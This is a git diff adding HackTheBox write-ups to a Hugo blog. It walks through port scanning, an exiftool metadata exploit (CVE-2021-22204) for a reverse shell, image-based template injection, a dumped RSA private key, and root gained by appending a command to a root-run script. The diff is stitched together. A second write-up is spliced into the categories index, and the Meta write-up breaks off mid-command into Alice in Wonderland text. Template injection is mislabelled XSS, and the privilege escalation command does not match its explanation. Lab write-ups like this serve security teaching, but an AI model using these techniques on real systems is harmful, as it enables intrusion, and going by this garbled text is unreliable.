diff --git a/.gitignore b/.gitignore index 1f3b413..f732d45 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,4 @@ public #others node_modules .hugo_build.lock +*.lock diff --git a/config/_default/menus.en.toml b/config/_default/menus.en.toml index df4969b..77fe59f 100644 --- a/config/_default/menus.en.toml +++ b/config/_default/menus.en.toml @@ -43,6 +43,12 @@ pageRef = "categories/security" weight = 10 +[[main]] + name = "Writeup CTF" + parent = "Categories" + pageRef = "categories/writeup-ctf" + weight = 10 + [[main]] name = "About" pageRef = "about" diff --git a/content/categories/_index.md b/content/categories/_index.md index 7910cf4..ad57e8a 100644 --- a/content/categories/_index.md +++ b/content/categories/_index.md @@ -31,3 +31,13 @@ layout: "categories" + +--- + +{{< list title="Writeup CTF" cardView=true limit=3 where="Type" value="writeup-ctf" >}} + +
7777777 +
+``` +After retrieving the result file we find the answer `7777777`. The XSS is therefore possible and the framework has a great chance to be Jinja2! I go to the following [github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2) to see the possibilities. + +I first try to send the following image: + + + + +```bash +┌──(d3vyce㉿kali)-[~/Downloads] +└─$ cat results.txt +uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc) + +
+``` +In the result file I find the expected result, the web application is executed as `svc_acc`. I now try to see if this user has an RSA key that would allow me to connect via SSH: + + + + +```bash +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM +HiP3S/DnqdIH2uqTXdPk4eGdXynzMnFRzbYb+cBa+R8T/nTa3PSuR9tkiqhXTaEO +bgjRSynr2NuDWPQhX8OmhAKdJhZfErZUcbxiuncrKnoClZLQ6ZZDaNTtTUwpUaMi +/mtaHzLID1KTl+dUFsLQYmdRUA639xkz1YvDF5ObIDoeHgOU7rZV4TqA6s6gI7W7 +d137M3Oi2WTWRBzcWTAMwfSJ2cEttvS/AnE/B2E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kr9wto1mp58wuhjdntid59qH+8edIUo4ffeVxRM7tSsFokHAvzpdTH8Xl1864CI+ +Fc1NRQKBgQDNiTT446GIijU7XiJEwhOec2m4ykdnrSVb45Y6HKD9VS6vGeOF1oAL +K6+2ZlpmytN3RiR9UDJ4kjMjhJAiC7RBetZOor6CBKg20XA1oXS7o1eOdyc/jSk0 +kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw== +-----END RSA PRIVATE KEY----- +``` +Now that I have the RSA key in my possession, I can connect in SSH and get the first flag : + + + +## Privilege escalation + +To start I run the [linpeas.sh](https://linpeas.sh) script to get an idea of what is present on the machine. Quickly I find a script `ssh-alert.sh` which is a script belonging to my user, but which is executed by root. + + + +I look at its contents and find that it is a script that generates an alert by mail for each session opened via SSH. + + + +Knowing that I can modify it, I add the following line at the end of the file. + + +```bash +echo "chmod o+x /bin/bash" >> ssh-alert.sh +``` +This allows to add to the file a `euid = 0`, which will allow me to execute the script as root. This is the same principle that is used with the su command. I quit the ssh session, I restart it, then I create a bash session with the following command : + + + +I am now root of the machine and I can recover the last flag. + + +```bash +bash-4.4# cat /root/root.txt +0abb3c1b4d046ab54e80851cf85c6448 +``` +## Recommendations + +To patch this host I think it would be necessary to perform a number of actions: + +- Update the image converter to avoid XSS +- Launch web applications with a user with minimum rights and no RSA key +- Do not let a user-modifiable script be executed by root diff --git a/content/writeup-ctf/writeup-meta-htb/featured.png b/content/writeup-ctf/writeup-meta-htb/featured.png new file mode 100644 index 0000000..2fa0036 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/featured.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d9b123f854cdaf0913e5181bec013df3118a41e734675bfb5c01049f44a24ff0 +size 335341 diff --git a/content/writeup-ctf/writeup-meta-htb/featured.webp b/content/writeup-ctf/writeup-meta-htb/featured.webp new file mode 100644 index 0000000..2a955ac --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/featured.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5254672588d76561ea4bc601be5938911792e346ea958fae212fc5202e3eab66 +size 26222 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-1.png b/content/writeup-ctf/writeup-meta-htb/img/image-1.png new file mode 100644 index 0000000..eea9699 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-1.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b7b5c689e473d8fbe5f38d56569bcc4ca6a0954cd219818717b3305fce1ff46a +size 34361 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-1.webp b/content/writeup-ctf/writeup-meta-htb/img/image-1.webp new file mode 100644 index 0000000..fca9deb --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-1.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:853ef003a811f2876b9c617786e32d66321b9421968b4b0ad84afef84d28ea8e +size 30872 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-10.png b/content/writeup-ctf/writeup-meta-htb/img/image-10.png new file mode 100644 index 0000000..19611b7 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-10.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fcad2520cf7701c87fb90128edd4eaf113223d4d05af145529a1a0da1ac4e590 +size 16811 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-10.webp b/content/writeup-ctf/writeup-meta-htb/img/image-10.webp new file mode 100644 index 0000000..164910b --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-10.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:783ed4fc9ecc737bde285df0a148d0d079b63946b5f2d2a81f896e712e61757e +size 21830 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-11.png b/content/writeup-ctf/writeup-meta-htb/img/image-11.png new file mode 100644 index 0000000..64b49b2 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-11.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:705f86e611afda24e6edf49fb3da1cc21c397f01cab01a0f6d8e420a98c7c644 +size 46894 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-11.webp b/content/writeup-ctf/writeup-meta-htb/img/image-11.webp new file mode 100644 index 0000000..bd51874 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-11.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6707d853dc7c153fac5707f0ab21f18576648cd44181e81e318b02a1c8d4c55b +size 50798 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-12.png b/content/writeup-ctf/writeup-meta-htb/img/image-12.png new file mode 100644 index 0000000..96ace65 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-12.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:86b1a5da73f2997b4e3c8096bc1c5dd8a64cda3b11d8db942e39caa07ef87b8d +size 17079 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-12.webp b/content/writeup-ctf/writeup-meta-htb/img/image-12.webp new file mode 100644 index 0000000..b581b34 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-12.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:71ac0c4b822e72f5d4565ad40fd869c461aa8adb6dab99f36109337f3a698bce +size 16432 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-13.png b/content/writeup-ctf/writeup-meta-htb/img/image-13.png new file mode 100644 index 0000000..54b2cef --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-13.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fd3f8a6b78074a7773eb4a39ab6fc755b0a1f2ad87e46f34312983c540ad456a +size 17702 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-13.webp b/content/writeup-ctf/writeup-meta-htb/img/image-13.webp new file mode 100644 index 0000000..bf1f3fb --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-13.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2a9d91af638f535f4a8ab5aa73669eb257b73b01f87d36e3ce10b94c83b18db4 +size 18794 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-2.png b/content/writeup-ctf/writeup-meta-htb/img/image-2.png new file mode 100644 index 0000000..b9aee5b --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-2.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b623aedcb82404216cce2e83666511da3160eef05e8128cd9cabc42b6d37200c +size 426544 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-2.webp b/content/writeup-ctf/writeup-meta-htb/img/image-2.webp new file mode 100644 index 0000000..075f3a6 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-2.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:aab7ba3a46c9729e0926da84663aba1cbb3f75a00c54d1c1fbaae48f1fb8771d +size 62666 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-3.png b/content/writeup-ctf/writeup-meta-htb/img/image-3.png new file mode 100644 index 0000000..53e5c94 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-3.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5615e9cb916408f940b04b704342441c9cb0220e835205b8f3c65d55026ee18e +size 59451 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-3.webp b/content/writeup-ctf/writeup-meta-htb/img/image-3.webp new file mode 100644 index 0000000..a233aa4 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-3.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e7d86013fd1e3395af6eccc367c1d70528930db41846e188a84975b954e18aa8 +size 48820 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-4.png b/content/writeup-ctf/writeup-meta-htb/img/image-4.png new file mode 100644 index 0000000..3331bca --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-4.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6d11fcec8942c33e8a5b8ae8c50009c00c14e92a7e35838c316f071fdd1eb4e8 +size 45576 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-4.webp b/content/writeup-ctf/writeup-meta-htb/img/image-4.webp new file mode 100644 index 0000000..cb09238 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-4.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2269965ced9ff05d0ae6dc5c19698def5731f750f31021a09a88bb0c8e90cc19 +size 41664 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-5.png b/content/writeup-ctf/writeup-meta-htb/img/image-5.png new file mode 100644 index 0000000..c8a56ac --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-5.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d775632d712642a82e51af075dccae2ba560077bcfb398dd818ed63bcc987baa +size 13111 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-5.webp b/content/writeup-ctf/writeup-meta-htb/img/image-5.webp new file mode 100644 index 0000000..374da45 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-5.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5beacab68bc524723e60a73148fcbcd7db35ad50107351ff9a0ef2d577a74432 +size 10042 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-6.png b/content/writeup-ctf/writeup-meta-htb/img/image-6.png new file mode 100644 index 0000000..532949d --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-6.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e2a56052b6bc7580a6452888fcbfbfabceebf4dce90482be765b1450a3daffc2 +size 12623 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-6.webp b/content/writeup-ctf/writeup-meta-htb/img/image-6.webp new file mode 100644 index 0000000..22dab5e --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-6.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c42d578f4c3dacae10bb1184e35b6879fca2b63b59edf8664819f54277b86b35 +size 6198 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-7.png b/content/writeup-ctf/writeup-meta-htb/img/image-7.png new file mode 100644 index 0000000..c383595 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-7.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3022af18d3cd2b16ff1a9dd18952e9a6006777aa56eca1d62e70a266bb2b9ed4 +size 39980 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-7.webp b/content/writeup-ctf/writeup-meta-htb/img/image-7.webp new file mode 100644 index 0000000..dfdacd5 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-7.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9fa7725ee1232e07d7ff01d311cb3ae9e0f91641490a218b702fa3333ce5190f +size 21094 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-8.png b/content/writeup-ctf/writeup-meta-htb/img/image-8.png new file mode 100644 index 0000000..df3d535 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-8.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4d9fbb1ed77c5ed6c273f00d51cf1b4160783117bda2f965e23b70f84d422b89 +size 61515 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-8.webp b/content/writeup-ctf/writeup-meta-htb/img/image-8.webp new file mode 100644 index 0000000..9d0537d --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-8.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8db35e3f99601f628450db664ec996186162a3370b1e2670a3aaf6dd7ecc1222 +size 53324 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-9.png b/content/writeup-ctf/writeup-meta-htb/img/image-9.png new file mode 100644 index 0000000..da3d308 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-9.png @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a64857ed6a921ae8e02c7283a17bc0ea56698e2cfe8d0299ebf5aa594e93f5c6 +size 13912 diff --git a/content/writeup-ctf/writeup-meta-htb/img/image-9.webp b/content/writeup-ctf/writeup-meta-htb/img/image-9.webp new file mode 100644 index 0000000..db5a4b8 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/img/image-9.webp @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:62a8120a76a71d8537ebcb7b1bf2d6202147e44312c3b98e88787e3da95a620d +size 13348 diff --git a/content/writeup-ctf/writeup-meta-htb/index.md b/content/writeup-ctf/writeup-meta-htb/index.md new file mode 100644 index 0000000..a181034 --- /dev/null +++ b/content/writeup-ctf/writeup-meta-htb/index.md @@ -0,0 +1,153 @@ +--- +title: "Writeup - Meta (HTB)" +date: 2022-04-03 +slug: "writeup-meta-htb" +type: "writeup-ctf" +--- + +This is a writeup for the [Meta](https://app.hackthebox.com/machines/Meta) machine from the HackTheBox site. + +## Enumeration + +First, let's start with a scan of our target with the following command: + + +```bash +nmap -sV -T4 -Pn 10.129.119.94 +``` +Two TCP ports are discovered: + + + +- 22/tcp : SSH port (OpenSSH 7.9p1) +- 80/tcp : HTTP web server (Apache httpd) + + + +## Exploit + +At first I order by listing the different pages of the site. + + + +Nothing in particular, I continue by making an enumeration of the subdomains. + + + +Ok, there is a subdomain, I add it to the `/etc/hosts` file, then I access it via a browser. + + + +It is a page that redirects us to another page that contains a form to upload a file. + + + +So I try to upload an image to see what the page tells me: + + + +The result reminds me strongly of a crypto tool I already used: `exiftool`. + + + +So I know that on the server side, this tool is used, it's a good information ! So I look if there are exploits with this service. Quickly I find this flaw : CVE-2021-22204. It is an exploit that allows via meta data in an image the execution of instructions. So we can create a reverse shell ! With a little more research I find this [github](https://github.com/convisolabs/CVE-2021-22204-exiftool). + +It is a tool for image modification and reverse shell insertion. + + +```bash +┌──(d3vyce㉿kali)-[~] +└─$ python3 exploit.py + 1 image files updated +``` +Once the image is modified, I upload it and it creates the reverse shell: + + + +I look for the location of the flag with the following command: + + +```bash +find / -name user.txt 2>/dev/null +``` +I find that the flag is in `thomas` personal file, but I don't have the rights to read it... + +So I am looking for a way to change the user. In the site folder, I find a folder `convert_image`... It is said to be an input folder for a script or a service that would convert images. I am looking for other elements with the same name on the system: + + +```bash +www-data@meta:/var/www/dev01.artcorp.htb/convert_images$ find / -name convert_image* 2>/dev/null +"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."
+Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?" +
+"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving + the other paw, "lives a March Hare. Visit either you like: they’re both mad."
+ +